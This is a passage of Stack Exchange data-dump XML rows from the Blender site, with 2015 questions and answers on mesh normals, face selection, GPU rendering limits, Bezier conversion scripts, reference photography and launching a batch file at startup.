  <row Id="33643" PostTypeId="2" ParentId="33636" CreationDate="2015-07-09T03:06:06.123" Score="5" Body="&lt;p&gt;I downloaded your blend file, and examined it in both edit mode and object mode. Sometimes interior edges on a surface--like the two you are asking about, do not show. In this case, trust edit mode regarding the missing edges--they are there, but the reason that the apparently missing edges do not show is that the normal of the face between them is flipped to the opposite direction of the two similar faces on either side of the face that seems to be missing edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; (to answer the followup questions you raised in your comment posted to this answer, and your comment to the answer posted by Carlo on 16 July 2015)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your ~.blend file in object mode, and find the place illustrated in the left half of the image you posted in your original question. Switch to edit mode, set selection to &quot;edge&quot; and select the two edges connecting what you point to with the red arrows as the &quot;missing&quot; edges. Switch selection type from &quot;edge&quot; to &quot;vertex&quot;, and you should see the face bounded by the four vertices highlighted in orange. In the &quot;shading/UV&quot; tab of the tool shelf, in the shading panel, you will see the heading &quot;normals&quot; below which are two menu options: &quot;recalculate&quot; and &quot;flip direction&quot;. Choose &quot;flip direction&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, there is a way to make Blender always show a face's direction. In the 3D viewport, in edit mode, if the toolshelf (the panels on the left side of the viewport) is not open, press the &lt;kbd&gt;N&lt;/kbd&gt; key to open it. Scroll down the panels in the toolshelf until you find &quot;Mesh Display&quot;. If it is closed (that is, if it only has a triangle pointing to the right), click on the triangle to open the panel. With the panel open, a bit more than halfway down the panel, you will see the word &quot;Normals&quot;, with a selection bar beneath. To show the normals for faces, click on the &quot;face&quot; section of the selection bar. You will see blue lines from the selection box on each face pointing in the direction the face is pointing. If there are too many lines for you to tell which direction the normal is pointing for the face(s) you are interested in, select some of the faces you are not interested at the moment, and hide them by pressing the &lt;kbd&gt;H&lt;/kbd&gt; key [Unhide them by pressing the combination &lt;kbd&gt;ALT&lt;/kbd&gt;-&lt;kbd&gt;H&lt;/kbd&gt; key]. The blue line starts at the selection point, and displays in the direction the face is pointing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With respect to the &quot;object tabs&quot; you asked about, although when I opened the ~.blend file you posted, it appeared to be the default 3D view editing screen layout, with the Outliner editor window in the upper part of the column above the Property editor window in the loser. Still, it's possible that your screen layout does not show the properties editor window, in which case, you need to divide the screen by clicking on the widget in the extreme upper right, or extreme lower left of each window. Each window has two widgets, and they work the same way. Move the widget away from the corner in the direction away from where you want to add a new window. When you've divided the window, click on the icon at the extreme left of the header (which in the case of the 3D viewport is a mis-nomer, as the header is actually a footer), and find &quot;Properties&quot; in the menu that is generated. This will set the new window as a Properties editor window. The screenshot Carlos attached to his answer shows the default 3D editor screen layout. The far right column of the screenshot shows two windows: the upper one is the Outliner editor window. If you're not familiar with that window, it is a useful tool, and worthy of investigation on your part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lower part of the far right column in Carlo's screenshot is the Properties editor window. In the extreme upper left hand corner of the Properties editor window is the icon that identifies the window type. To the right of that icon are a number of tabs (the number, and the identifying icons on each tab varying somewhat depending upon what object is selected. For an mesh object, from left to right the tabs are &quot;Render&quot;, &quot;Render Layers&quot;, &quot;Scene&quot;, &quot;World&quot; &quot;&lt;strong&gt;Object&lt;/strong&gt;&quot;, &quot;Constraints&quot;, &quot;Modifiers&quot;, &quot;Materials&quot;, &quot;Textures&quot;, &quot;Particles&quot;, and &quot;Physics&quot;. If you have the hut object active, and select the object tab, you should see a set of panels in the properties editor that contains the same headings as the panels in Carlos' screenshot; the object property tab is fifth from the right. When you select the object property tab, one of the panels that appears is one marked &quot;Display&quot;. The &quot;draw all lines&quot; box Carlo refers to is the last item in the left hand column of the Display panel.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-17T05:05:22.290" LastActivityDate="2015-07-17T05:05:22.290" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="33644" PostTypeId="1" AcceptedAnswerId="33666" CreationDate="2015-07-09T04:12:21.723" Score="1" ViewCount="891" Body="&lt;p&gt;I currently have a hollow sphere, and I want to select the faces on the outside layer of the sphere, but when I do &lt;kbd&gt;B&lt;/kbd&gt; + &lt;kbd&gt;LMB&lt;/kbd&gt; to select faces, it only selects the faces on the interior layer. Here's an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tu3fE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a zoomed in version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r9OEX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I select the faces on the outside layer?&lt;/p&gt;&#xA;" OwnerUserId="11236" LastEditorUserId="3401" LastEditDate="2015-07-09T09:05:08.193" LastActivityDate="2015-07-09T11:49:42.003" Title="Select outer layer of hollow object" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;selection-tools&gt;&lt;faces&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33646" PostTypeId="1" CreationDate="2015-07-09T04:20:23.950" Score="7" ViewCount="2215" Body="&lt;p&gt;How to restrict to cycles use only 90% of gpu? For example redshift use always between 80-90% and because of that i can work with something else when render on video card. But when i put render on cycles i can forgot about using PC while rendering.&lt;/p&gt;&#xA;" OwnerUserId="14099" LastActivityDate="2015-07-09T05:28:07.290" Title="How to restrict to cycles use only 90% of gpu?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33647" PostTypeId="2" ParentId="32462" CreationDate="2015-07-09T04:31:45.483" Score="1" Body="&lt;p&gt;If the drill hole plans are in vector already convert the file to .svg.&lt;br&gt;&#xA;&lt;br&gt;&#xA;If the hole plans are not vector.&lt;br&gt;&#xA;Convert the holes to vector using Inkscape, Illustrator, etc...&lt;br&gt;&#xA;Once everything is traced/converted save this file as .svg.&lt;br&gt;&#xA;&lt;br&gt;&#xA;When you have a usable .svg file.&lt;br&gt;&#xA;Open Blender and choose File/Import/Paths&lt;br&gt;&#xA;Choose your .svg&lt;br&gt;&#xA;With the newly created path selected in blender.&lt;br&gt;&#xA;Go to the curve options and raise the extrude value up.&lt;br&gt;&#xA;If the alignment is good, use the boolean modifier to &quot;cut&quot; the holes. &lt;a href=&quot;https://www.youtube.com/watch?v=KrZS-V6gffQ&quot; rel=&quot;nofollow&quot;&gt;Example&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not already vector &amp;amp; automated methods fail. Instead of manually tracing the holes. You may be best off duplicating a cylinder, of the correct size, &amp;amp; placing the duplicates where need be. Using the mirror modifier if and/or where possible. Then use the boolean modifier as mentioned previously.&lt;/p&gt;&#xA;" OwnerUserId="15507" LastActivityDate="2015-07-09T04:31:45.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33649" PostTypeId="2" ParentId="15247" CreationDate="2015-07-09T05:05:20.047" Score="1" Body="&lt;p&gt;For an OS X based solution  &lt;a href=&quot;http://www.northernsoftworks.com/appriority.html&quot; rel=&quot;nofollow&quot;&gt;Appriority&lt;/a&gt; is an option.&lt;br&gt;&#xA;Also for most *nix based systems, including OS X, there is &lt;a href=&quot;http://bencane.com/2013/09/09/setting-process-cpu-priority-with-nice-and-renice/&quot; rel=&quot;nofollow&quot;&gt;nice &amp;amp; renice&lt;/a&gt; via the terminal.&lt;/p&gt;&#xA;" OwnerUserId="15507" LastActivityDate="2015-07-09T05:05:20.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33650" PostTypeId="2" ParentId="33644" CreationDate="2015-07-09T05:07:06.160" Score="2" Body="&lt;p&gt;Unless you've done something extraordinary, like selecting all of the faces and extruding them away from the center of the sphere, or added a modifier, a hollow sphere has only one layer of faces. I don't see anything in your close up image, though to suggest you've done this so &lt;kbd&gt;B&lt;/kbd&gt; followed by &lt;kbd&gt;LMB&lt;/kbd&gt; selects that one layer. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-09T08:59:53.993" LastActivityDate="2015-07-09T08:59:53.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33651" PostTypeId="2" ParentId="33644" CreationDate="2015-07-09T05:22:25.783" Score="1" Body="&lt;p&gt;It's not entirely clear what you're asking.&lt;br&gt;My best guess is you wish to select, or prevent selecting, that which is behind direct visibility.&lt;br&gt;If this is the case, toggling the following function will solve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dea5N.png&quot; alt=&quot;Blender Interface&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't solve your problem. Please try to better explain your situation.&lt;/p&gt;&#xA;" OwnerUserId="15507" LastActivityDate="2015-07-09T05:22:25.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33653" PostTypeId="2" ParentId="33646" CreationDate="2015-07-09T05:28:07.290" Score="3" Body="&lt;p&gt;From the Blende manual on &lt;a href=&quot;http://www.blender.org/manual/render/cycles/gpu_rendering.html&quot; rel=&quot;nofollow&quot;&gt;GPU Rendering&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is Blender unresponsive during rendering? &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;While a graphics card is&#xA;  rendering, it can not redraw the user interface, which makes Blender&#xA;  unresponsive. We attempt to avoid this problem by giving back control&#xA;  over the GPU as often as possible, but a completely smooth interaction&#xA;  can’t be guaranteed, especially on heavy scenes. This is a limitation&#xA;  of graphics cards for which no true solution exists, though we might&#xA;  be able to improve this somewhat in the future.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;If possible, it is best to install more than one GPU, using one for display and the other(s) for rendering.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-09T05:28:07.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33654" PostTypeId="2" ParentId="33614" CreationDate="2015-07-09T05:46:27.310" Score="1" Body="&lt;p&gt;There are a couple ways to get the desired result.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;a href=&quot;https://www.youtube.com/watch?v=vcI9vFfdGpo&quot; rel=&quot;nofollow&quot;&gt;Explode&lt;/a&gt; modifier.&lt;br&gt;&#xA;Using the &lt;a href=&quot;https://www.youtube.com/watch?v=DEo_9AopfoQ&quot; rel=&quot;nofollow&quot;&gt;Cell Fracture&lt;/a&gt; add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both options have a number of settings that can be defined &amp;amp; tweaked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;Sorry I misread a little bit. Depending on how your fractures were made &lt;a href=&quot;https://www.youtube.com/watch?v=QY7iJmqsJf8&quot; rel=&quot;nofollow&quot;&gt;Part 2&lt;/a&gt; of the Cell Fracture tutorial should help. Otherwise you may need to explode your mesh.&lt;/p&gt;&#xA;" OwnerUserId="15507" LastEditorUserId="15507" LastEditDate="2015-07-09T06:00:32.760" LastActivityDate="2015-07-09T06:00:32.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33655" PostTypeId="2" ParentId="33637" CreationDate="2015-07-09T06:40:59.237" Score="0" Body="&lt;p&gt;You have &lt;code&gt;own = controller.owner&lt;/code&gt; in a function that is never called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case you have shown putting &lt;code&gt;own&lt;/code&gt; into a function makes it local to the function, so calling the function still won't set the variable you use later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest change would be to set &lt;code&gt;own&lt;/code&gt; after you set &lt;code&gt;controller&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-09T06:40:59.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33656" PostTypeId="1" AcceptedAnswerId="33657" CreationDate="2015-07-09T06:59:14.787" Score="1" ViewCount="2422" Body="&lt;p&gt;i want to make a plane with rounded edge. Can i change the vertex into bezier with handle?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/geV98.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15510" LastEditorUserId="47" LastEditDate="2015-07-09T08:08:13.680" LastActivityDate="2015-07-09T08:08:13.680" Title="how can i convert a vertex of a plane into bezier with handle?" Tags="&lt;vertices&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33657" PostTypeId="2" ParentId="33656" CreationDate="2015-07-09T07:28:27.913" Score="2" Body="&lt;p&gt;No, not the way you describe. You can convert a mesh to a collection of Straight splines using Alt+C in object mode, but the resulting Curve object doesn't have handles you can drag away from the Knot. (more about this later)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple mesh based solution is to use ctrl+shift+B with the vertex selected and drag out to generate the Bevel, or Fillet (to fillet use mouse wheel to set to number of cuts)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EsuEe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding Spline / Bezier based 2d surfaces i recommend the answers to this question: &lt;a href=&quot;https://blender.stackexchange.com/questions/962/make-a-quarter-curve-with-curves&quot;&gt;Make a quarter curve with curves&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can convert the plane to a Curve object (using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; as mentioned earlier, but this creates a Curve of type 'Poly', which means it doesn't have handles, only points. The curve object can be recast as a bezier type (but not easily from the UI, at least I'm not privy to any method). You can use the built in python console to convert the curve from 'POLY' to 'BEZIER' and it will create the handles in the right places too. Also remember to set the Curve type to 2D (from 3D) else you won't see the surfaces&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; # after you've converted the plane to a Curve object using Alt+C&#xA;&amp;gt;&amp;gt;&amp;gt; obj = bpy.data.objects['Plane']&#xA;&amp;gt;&amp;gt;&amp;gt; obj.data.splines[0].type&#xA;... 'POLY'&#xA;&amp;gt;&amp;gt;&amp;gt; obj.data.splines[0].type = 'BEZIER'   # this sets it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bYm9W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2015-07-09T08:01:41.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33658" PostTypeId="2" ParentId="33260" CreationDate="2015-07-09T07:32:17.897" Score="0" Body="&lt;p&gt;In the top render I can read the word mail on the box, so I think the texture is there, you just need some more lights so it shows.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2015-07-09T07:32:17.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33660" PostTypeId="1" AcceptedAnswerId="33994" CreationDate="2015-07-09T07:43:35.877" Score="17" ViewCount="1993" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hd19o.gif&quot; alt=&quot;this is a gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know at all what this effect is called, therefore I cannot search for the answer on the web. I am referring to the thing where the RGB color will shift individually when the camera jitters/move&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I achieve this sort of effect in blender? and for future reference, what is this effect called?&lt;/p&gt;&#xA;" OwnerUserId="15511" LastEditorDisplayName="user1853" LastEditDate="2017-11-24T20:50:44.123" LastActivityDate="2017-11-24T20:50:44.123" Title="How to achieve screen tearing effect or video glitches" Tags="&lt;compositor&gt;&lt;effects&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="33661" PostTypeId="1" AcceptedAnswerId="33663" CreationDate="2015-07-09T08:01:46.750" Score="3" ViewCount="1876" Body="&lt;p&gt;I'm trying to model my face on Blender using &lt;a href=&quot;http://cgi.tutsplus.com/tutorials/female-character-modeling-in-blender-part-1--cms-19723&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; and it gives links to reference photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, as I mentioned above, I want to try and model my face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've decided to take photos of my face. But it doesn't seem to be working well (not symmetrical enough and stuff), so how exactly should I take my reference photos so that it would work well when I try to model it with the Mirror modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I only have the 'webcam' on my Macbook Pro and the camera on my Hongmi phone and I don't want to spend money on a new camera.&lt;/p&gt;&#xA;" OwnerUserId="15512" LastActivityDate="2015-07-09T12:08:16.537" Title="How do you take reference photos?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="3" ClosedDate="2015-07-09T13:39:24.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="33662" PostTypeId="2" ParentId="33260" CreationDate="2015-07-09T08:15:12.097" Score="3" Body="&lt;p&gt;Solved..........&#xA;Even though I deleted all the sub materials that I baked into the one texture,  the material slots were still there.&#xA;Once I deleted all the no longer required sub material slots the face textures appeared as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D70es.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15346" LastActivityDate="2015-07-09T08:15:12.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33663" PostTypeId="2" ParentId="33661" CreationDate="2015-07-09T08:22:41.460" Score="3" Body="&lt;p&gt;Use your phone camera, and hold it as far away as possible to reduce lens deformation. Hold the camera so the lens is at eye's height, as centered as possible. Cut the photo in two using gimp or other 2D software, and mirror it. Even professional taken photos have some non symmetricsl details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also take a shot in profile, at the same distance and height, and adjust to keep as close as possible the proportions between the two shoots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the reference just as it is: a reference not a sharp point-to-point grid.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastEditorUserId="3401" LastEditDate="2015-07-09T08:55:05.903" LastActivityDate="2015-07-09T08:55:05.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33664" PostTypeId="1" CreationDate="2015-07-09T08:29:27.623" Score="1" ViewCount="43" Body="&lt;p&gt;I am creating an application where users can build a structure by 'clicking' together building blocks. Each block is multi-faced with geomnetry based on an octagon, and the blocks can click on to each other 'face-to-face' only with faces aligned.&#xA;I presume I will need to use constraints for this but cannot see how to use those in Blender currently? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="15513" LastActivityDate="2015-07-09T08:29:27.623" Title="How to model constraints between 'building blocks'?" Tags="&lt;constraints&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33666" PostTypeId="2" ParentId="33644" CreationDate="2015-07-09T10:20:26.053" Score="4" Body="&lt;p&gt;If you are using a Solidify modifier, you can't select the 'virtual' geometry generated by the modifier &lt;em&gt;separately&lt;/em&gt; until it is applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pgC1T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The faces coloured in orange here are the real geometry, and the grey faces are 'virtual' geometry, this can't be selected separately. If you want to do something with the outer or inner layer you will need to Apply the modifier, that makes all geometry of that object 'real'.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-09T11:49:42.003" LastActivityDate="2015-07-09T11:49:42.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33667" PostTypeId="1" CreationDate="2015-07-09T11:34:31.283" Score="5" ViewCount="239" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1FWAe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Configuration:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Ubuntu 14.04 (latest update)&lt;/li&gt;&#xA;&lt;li&gt;Blender 2.75&lt;/li&gt;&#xA;&lt;li&gt;Nvidia Quadro FX580 &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15514" LastEditorUserId="3710" LastEditDate="2015-07-09T11:52:48.150" LastActivityDate="2016-04-05T06:20:17.417" Title="Polygons distorted in edit mode" Tags="&lt;3d-view&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33668" PostTypeId="2" ParentId="33661" CreationDate="2015-07-09T12:08:16.537" Score="2" Body="&lt;p&gt;Things you need:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;office chair (or any that rotates)&lt;/li&gt;&#xA;&lt;li&gt;tripod or another thing to hold your camera/phone&lt;/li&gt;&#xA;&lt;li&gt;good lighting&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Setup the tripod with your camera/phone.&lt;/li&gt;&#xA;&lt;li&gt;Setup timer on camera to take multiple shots or take a video.&lt;/li&gt;&#xA;&lt;li&gt;Sit straight on the chair and rotate around.&lt;/li&gt;&#xA;&lt;li&gt;Correct minor deformations/symetrics in photoshop&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-07-09T12:08:16.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33669" PostTypeId="1" CreationDate="2015-07-09T12:37:01.937" Score="1" ViewCount="524" Body="&lt;p&gt;First I create a bouding box around an object with this script : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selected = bpy.context.selected_objects&#xA;for obj in selected:&#xA;    #ensure origin is centered on bounding box center&#xA;    bpy.ops.object.origin_set(type='ORIGIN_GEOMETRY', center='BOUNDS')&#xA;    #create a cube for the bounding box&#xA;    bpy.ops.mesh.primitive_cube_add() &#xA;    #our new cube is now the active object, so we can keep track of it in a variable:&#xA;    bound_box = bpy.context.active_object &#xA;    #copy transforms&#xA;    bound_box.dimensions = obj.dimensions&#xA;    bound_box.location = obj.location&#xA;    bound_box.rotation_euler = obj.rotation_euler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I resize the box like I wish : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.transform.resize(value=(1.4,1.4,3.5))   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my result : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i9AYX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I want to resize only the highest face of the box so that it arrive 5 mm above the object, like this : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dLJwC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know this script to select the highest face of the bouding box : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object = bpy.data.objects['Cube']&#xA;object.select = True&#xA;me = bpy.context.object.data&#xA;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;for face in bm.faces:&#xA;    center = face.calc_center_median()&#xA;    if center.z &amp;gt;= 1:&#xA;        face.select_set(True)&#xA;bm.to_mesh(me)&#xA;bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I equally know how to get the highest point of the object : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;max = -9999&#xA;for i in obj.data.vertices :&#xA;    if i.co[2] &amp;gt; max :&#xA;        max_ind = i.index&#xA;        max  = i.co[2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know how to position the highest plan of the box 5 mm above the highest point of the object ?&lt;/p&gt;&#xA;" OwnerUserId="12685" LastActivityDate="2015-09-11T17:39:43.490" Title="how to adapt a box to an object with a python script?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33670" PostTypeId="1" AcceptedAnswerId="33672" CreationDate="2015-07-09T12:38:59.200" Score="2" ViewCount="540" Body="&lt;p&gt;I am createing a model which has a cylinder shape extruded inwards, and wanted to create some sharper edges around it. I tried using the loop subdivide tool (Ctrl + R) but the &quot;loop&quot; part of it is only reaching half-way along the inner edge&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KXt0J.png&quot; alt=&quot;Loop subdivide problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top portion of this is divided into thirds for this, and I'm not sure why this is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These appear to be 4 sided shapes, so I don't think it's an ngon problem.&lt;/p&gt;&#xA;" OwnerUserId="15490" LastEditorUserId="15490" LastEditDate="2015-07-09T21:01:44.073" LastActivityDate="2015-07-09T21:01:44.073" Title="Why does my loop subdivide not extend around the whole shape?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33671" PostTypeId="2" ParentId="33670" CreationDate="2015-07-09T13:02:09.623" Score="0" Body="&lt;p&gt;This is most propably happening because you haven't extruded the whole thing at once, you have extruded it by parts. So you can try to just add a loop cut in this places as well. Or you can also try to press ( i ) and extrude inwards.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-09T13:02:09.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33672" PostTypeId="2" ParentId="33670" CreationDate="2015-07-09T13:44:05.010" Score="6" Body="&lt;p&gt;You probably have duplicated vertices. Here I ripped a few vertices (and moved them away which isn't the case in your model) to interrupt the flow of the loop cut:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mijYJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be easily fixed by &lt;em&gt;Remove Doubles&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-07-09T13:44:05.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33673" PostTypeId="1" CreationDate="2015-07-09T13:59:13.333" Score="0" ViewCount="674" Body="&lt;p&gt;I have to start a postgresql server when blender starts. To start the server I use a .bat file I start manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to automatically start the server (execute the .bat) when Blender starts. I tried this script but it not working. ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess&#xA;filepath=&quot;C:\Users\PORTABLE\Desktop\pgsql_binaire\pgsql\test.bat&quot;&#xA;p = subprocess.Popen(filepath, shell=True, stdout = subprocess.PIPE)&#xA;stdout, stderr = p.communicate()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15517" LastEditorUserId="241" LastEditDate="2015-07-09T14:13:23.283" LastActivityDate="2015-07-10T12:19:52.437" Title="How can I execute a .bat file when Blender starts?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33674" PostTypeId="2" ParentId="33673" CreationDate="2015-07-09T14:23:34.800" Score="1" Body="&lt;p&gt;Would it not be simpler to start both blender and postgresql using the same .bat file. Then point any blender shourtcuts/links you have at that file?&lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-07-09T14:23:34.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33675" PostTypeId="1" CreationDate="2015-07-09T14:31:40.727" Score="2" ViewCount="1061" Body="&lt;p&gt;Is there some rule of where the origin should be placed on a mesh when exporting to FBX for use in a game engine, should it be placed anywhere specifically?&lt;/p&gt;&#xA;" OwnerUserId="6402" LastEditorUserId="29" LastEditDate="2015-07-09T15:40:50.540" LastActivityDate="2015-07-09T15:40:50.540" Title="Where to place origin when exporting to UE4?" Tags="&lt;export&gt;&lt;unreal-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
